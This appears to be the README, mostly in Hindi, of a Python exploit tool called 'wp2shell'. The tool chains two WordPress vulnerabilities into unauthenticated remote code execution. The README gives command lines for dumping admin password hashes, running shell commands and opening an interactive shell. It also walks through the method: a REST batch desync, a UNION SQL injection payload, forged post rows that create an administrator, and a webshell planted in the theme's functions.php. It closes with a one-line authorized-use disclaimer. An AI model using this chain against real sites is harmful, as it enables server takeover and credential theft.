
CVE-2026-63030 / wp2shell
वन-डे WordPress RCE एक्सप्लॉइट श्रृंखला। बिना प्रमाणीकरण। CVSS 9.8.
शून्य निर्भरताएँ — केवल Python 3.8+ stdlib।
| ब्रांच | असुरक्षित | पैच किया गया |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
बिना प्रमाणीकरण वाले रिमोट कोड निष्पादन के लिए दो CVE को जोड़ा गया है:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
WordPress का बैच एंडपॉइंट /?rest_route=/batch/v1 उप-अनुरोधों की एक सरणी (array) स्वीकार करता है। जब किसी उप-अनुरोध का पथ अपठनीय होता है (///), तो एक WP_Error $validation में जोड़ा जाता है, लेकिन $matches में नहीं। फिर डिस्पैच लूप अनुरोध N को हैंडलर N+1 के साथ जोड़ता है — इसलिए एक अनुरोध जो एक स्कीमा के विरुद्ध मान्य किया गया है, उसे एक भिन्न हैंडलर पर डिस्पैच कर दिया जाता है।
एक्सप्लॉइट 3-परत वाला नेस्टेड बैच भेजता है, जहाँ प्रत्येक परत इंडेक्स को स्थानांतरित करने के लिए स्थिति 0 पर एक desync प्राइमर का उपयोग करती है। सबसे भीतरी अनुरोध — जो एकल-पोस्ट आइटम (GET /wp/v2/posts/999999) के रूप में मान्य किया गया है — कलेक्शन हैंडलर (posts->get_items()) पर पहुँचता है। चूँकि आइटम स्कीमा author_exclude को परिभाषित नहीं करती है, पैरामीटर बिना मान्यता के पास हो जाता है।
get_items() author_exclude → author__not_in को मैप करता है और इसे WP_Query में पास करता है। जब author__not_in एक स्ट्रिंग होता है (सरणी नहीं), तो array_map('absint', …) ब्लॉक को छोड़ दिया जाता है। अपरिष्कृत स्ट्रिंग सीधे इसमें पहुँचती है:
WHERE post_author NOT IN (<payload>)
पेलोड 0) UNION ALL SELECT …-- - NOT IN सूची को बंद करता है और मनमाना SQL जोड़ देता है।
WordPress 7.0.x wp_posts में ठीक 23 कॉलम होते हैं। UNION ALL SELECT के माध्यम से orderby=none (पिछले ORDER BY को दबाता है) और per_page=500 (WP_Query को फुल-रो मोड में रखता है) के साथ एक गढ़ी गई पंक्ति इंजेक्ट करके, गढ़ा गया पोस्ट शीर्षक — जिसमें ||HEX|| मार्कर होता है — REST प्रतिक्रिया में प्रतिबिंबित होता है। सभी स्ट्रिंग मान URL एन्कोडिंग के माध्यम से कोट-एस्केपिंग समस्याओं से बचने के लिए MySQL हेक्स लिटरल (0x…) का उपयोग करते हैं।
[embed] शॉर्टकोड युक्त एक पोस्ट UNION से गढ़ें → WordPress 3 oembed_cache पंक्तियाँ बनाता हैwp_posts पंक्तियाँ UNION से गढ़ें[embed] शॉर्टकोड रेंडर होता है, जो WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() को ट्रिगर करता हैwp2_<random>) और पासवर्ड (Wp2!<random>) के साथ व्यवस्थापक बनाया जाता हैनए एडमिन के रूप में लॉगिन करें → थीम एडिटर नॉन्स निकालें → सक्रिय थीम के functions.php के शीर्ष पर टोकन-सुरक्षित PHP वेबशेल इंजेक्ट करें → ?t=<token>&c=<command> के माध्यम से एक्सेस करें।
urllib, json, re, hashlib, secrets, html)wp_remote_post() लूपबैक जाँच करता है। यदि कंटेनर होस्टनाम से स्वयं तक नहीं पहुँच पाता है, तो थीम संपादन अवरुद्ध हो जाता है। ऐसे मामलों में --dump-users + मैन्युअल लॉगिन का उपयोग करें।--check के साथ परीक्षण करें।$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
यह उपकरण केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
| चरण | CVE | वेक्टर |
|---|
| 1 | CVE-2026-63030 | REST /batch/v1 इंडेक्स गलत संरेखण सत्यापन को डिस्पैच से डीसिंक कर देता है |
| 2 | CVE-2026-60137 | author__not_in WP_Query पैरामीटर स्ट्रिंग के रूप में पास होने पर absint() को छोड़ देता है |
| 3 | — | UNION SELECT wp_posts पंक्तियाँ गढ़ता है; oEmbed → customizer → wp_insert_user |
| 4 | — | नए बनाए गए व्यवस्थापक के रूप में प्रमाणित करें |
| 5 | — | थीम एडिटर सक्रिय थीम में टोकन-सुरक्षित वेबशेल इंजेक्ट करता है |